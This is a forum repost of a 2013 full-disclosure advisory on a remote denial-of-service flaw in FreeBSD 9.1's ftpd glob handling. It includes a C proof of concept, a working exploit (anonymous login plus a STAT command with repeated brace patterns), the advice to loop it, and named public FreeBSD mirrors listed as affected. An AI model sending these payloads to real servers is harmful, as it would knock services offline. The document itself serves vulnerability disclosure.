Autor Tema: Denegación de servicio remota en ftpd para FreeBSD 9.1  (Leído 1619 veces)

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Denegación de servicio remota en ftpd para FreeBSD 9.1
« : febrero 05, 2013, 10:52:12 am »
Hace muy poco fué parchada una versión para el servidor ftp de FreBSD 9.1 que permitia a un atacante remoto causar una denegación de servicio con un simple script.

Acá copio y pego la noticia:


FreeBSD 9.1 ftpd Remote Denial of Service
 Maksymilian Arciemowicz
 http://cxsecurity.org/
 http://cxsec.org/
 
 Public Date: 01.02.2013
 URL: http://cxsecurity.com/issue/WLB-2013020003
 
 Affected servers:
 - ftp.uk.freebsd.org,
 - ftp.ua.freebsd.org,
 - ftp5.freebsd.org,
 - ftp5.us.freebsd.org,
 - ftp10.freebsd.org,
 - ftp3.uk.freebsd.org,
 - ftp7.ua.freebsd.org,
 - ftp2.se.freebsd.org,
 - ftp2.za.FreeBSD.org,
 - ftp2.ru.freebsd.org,
 - ftp2.pl.freebsd.org
 and more...
 
 
 --- 1. Description ---
 I have decided check BSD ftpd servers once again for wildcards. Old
 bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last
 FreeBSD version.
 Attacker, what may connect anonymously to FTP server, may cause CPU
 resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous',
 sending 'STAT' command with special wildchar, enought to create ftpd
 process with 100% CPU usage.
 
 Proof of Concept (POC):
 See the difference between NetBSD/libc and FreeBSD/libc.
 --- PoC ---
 
Código: [Seleccionar]
#include <stdio.h>
 #include <glob.h>
 
 int main(){
                 glob_t globbuf;
                 char stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}";
                 glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf);
 }
--- PoC ---
 
 --- Exploit ---
 user anonymous
 pass anonymous
 
Código: [Seleccionar]
stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
--- /Exploit ---
 
 Result of attack:
 
Citar
ftp     13034   0.0  0.4  10416   1944  ??  R    10:48PM    0:00.96
 ftpd: cxsec.org anonymous/anonymous (ftpd)
 ftp     13035   0.0  0.4  10416   1944  ??  R    10:48PM    0:00.89
 ftpd: cxsec.org anonymous/anonymous (ftpd)
 ftp     13036   0.0  0.4  10416   1944  ??  R    10:48PM    0:00.73
 ftpd: cxsec.org anonymous/anonymous (ftpd)
 ftp     13046   0.0  0.4  10416   1952  ??  R    10:48PM    0:00.41
 ftpd: cxsec.org anonymous/anonymous (ftpd)
 ftp     13047   0.0  0.4  10416   1960  ??  R    10:48PM    0:00.42
 ftpd: cxsec.org anonymous/anonymous (ftpd)
 ...
 root    13219   0.0  0.3  10032   1424  ??  R    10:52PM    0:00.00
 /usr/libexec/ftpd -dDA
 root    13225   0.0  0.3  10032   1428  ??  R    10:52PM    0:00.00
 /usr/libexec/ftpd -dDA
 root    13409   0.0  0.3  10032   1404  ??  R    10:53PM    0:00.00
 /usr/libexec/ftpd -dDA
 root    13410   0.0  0.3  10032   1404  ??  R    10:53PM    0:00.00
 /usr/libexec/ftpd -dDA
 ...
 
 =>Sending:
 STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
 
 =>Result:
 @ps:
 ftp      1336 100.0  0.5  10416   2360  ??  R    11:15PM 600:39.95
 ftpd: 127.0.0.1: anonymous/anonymous@cxsecurity.com: \r\n (ftpd)$
 @top:
 1336 root        1 103    0 10416K  2360K RUN    600:53 100.00% ftpd

 
 one request over 600m (~10h) execution time and 100% CPU usage. This
 issue allow to create N ftpd processes with 100% CPU usage.
 
 Just create loop while(1) and send these commands
 ---
 user anonymous
 pass anonymous
 
Código: [Seleccionar]
stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
---
 
 NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
 http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2
 
 The funniest is that freebsd use GLOB_LIMIT in ftpd server.
 http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
 ---
 
Código: [Seleccionar]
        if (strpbrk(whichf, "~{[*?") != NULL) {
                 int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
 
                 memset(&gl, 0, sizeof(gl));
                 gl.gl_matchc = MAXGLOBARGS;
                 flags |= GLOB_LIMIT;
                 freeglob = 1;
                 if (glob(whichf, flags, 0, &gl)) {
---
 
 but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU
 resource exhaustion. ;]
 
 Libc was also vulnerable in Apple and Oracle products.
 http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
 http://support.apple.com/kb/HT4723
 
 only FreeBSD and GNU glibc are affected
 
 
 --- 2. Exploit ---
 http://cxsecurity.com/issue/WLB-2013010233
 
 
 --- 3. Fix ---
 Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve
 problem with security ;)
 
 
 --- 4. References ---
 Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
 http://cxsecurity.com/issue/WLB-2010100135
 http://cxsecurity.com/cveshow/CVE-2010-2632
 
 Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion
 http://cxsecurity.com/issue/WLB-2011050004
 http://cxsecurity.com/cveshow/CVE-2011-0418
 
 More CWE-399 resource exhaustion examples:
 http://cxsecurity.com/cwe/CWE-399
 
 The regcomp implementation in the GNU C Library allows attackers to
 cause a denial of service proftpd
 http://cxsecurity.com/cveshow/CVE-2010-4051
 http://cxsecurity.com/cveshow/CVE-2010-4052
 http://www.kb.cert.org/vuls/id/912279
 
 
 --- 5. Contact ---
 Maksymilian Arciemowicz
 max 4T cxsecurity.com
 http://cxsecurity.com/
 http://cxsec.org/

Fuente: http://seclists.org/fulldisclosure/2013/Feb/3
 
Mi WEB - The Hacktivism is not a crime - Si no lo hago yo, que lo hagan otros -
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